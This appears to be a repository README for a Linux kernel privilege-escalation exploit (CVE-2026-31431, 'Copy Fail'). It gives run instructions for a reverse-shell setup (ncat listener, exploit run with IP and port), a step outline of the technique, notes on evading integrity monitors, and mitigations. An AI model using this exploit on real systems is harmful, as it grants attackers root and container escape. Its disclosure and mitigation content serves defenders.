🔴 CVE-2026-31431 — "Copy Fail"

A 9-Year-Old Linux Kernel Logic Bug That Grants Root in Seconds

Overview

Copy Fail is a high-severity local privilege escalation (LPE) vulnerability in the Linux kernel's cryptographic subsystem (algif_aead). Discovered and disclosed by Theori (via their Xint Code AI-assisted vulnerability research tool) on April 29, 2026, the flaw allows any unprivileged local user to write 4 controlled bytes into the page cache of any readable file — and leverage that to obtain root on virtually every major Linux distribution shipped since 2017.

A working proof-of-concept exploit is only ~732 bytes of Python.

Exploitation

1. Start Ncat Listener

sudo ncat -lvnp PORT

2. Execute the exploit on target machine

# Using Python script
python3 CVE-2026-31431-Exploit.py IP PORT

# Compiled binary
chmod +x CVE-2026-31431-Exploit
./CVE-2026-31431-Exploit IP PORT

🧬 Technical Summary

How the Exploit Works (4 Steps)

1. Open an AF_ALG socket and bind to authencesn(hmac(sha256),cbc(aes))
2. Splice a readable setuid binary's pages into the socket
3. The kernel's AEAD scratch write overwrites 4 bytes in the page cache of that binary
4. Execute the now-corrupted setuid binary → root shell

Why It's Dangerous

• No race window — deterministic, works every time
• No kernel offset / KASLR bypass needed
• Same exploit works across distros — Ubuntu, RHEL, Amazon Linux, SUSE, Rocky, etc.
• Container escape — the page cache is shared; a write from inside a container affects the host
• No disk modification — file-integrity monitors (AIDE, OSSEC, etc.) won't detect it
• No forensic trace on disk

🎯 Affected Versions

Confirmed Vulnerable Distributions

• Ubuntu 24.04 LTS
• Amazon Linux 2023
• RHEL 10.1
• SUSE 16
• Rocky Linux 9.7

Essentially every major Linux distribution released since 2017 is affected.

🛡️ Mitigation

1. Patch (Recommended)

Update your kernel to a version containing fix commit fafe0fa2995a. Most major distributions have released or are releasing updated kernel packages.

2. Temporary Workarounds

If you cannot patch immediately:

• Block AF_ALG socket creation via seccomp policy
• Blacklist the algif_aead module:
  root@kitploit:~

  echo "blacklist algif_aead" | sudo tee /etc/modprobe.d/disable-algif-aead.conf
  sudo modprobe -r algif_aead 2>/dev/null
  

⚠️ Disclaimer

This repository is for educational and defensive purposes only. The information here is intended to help security teams understand, detect, and mitigate CVE-2026-31431. Always follow responsible disclosure practices and applicable laws.

⭐ Star this repo to stay updated on patches and detection guidance.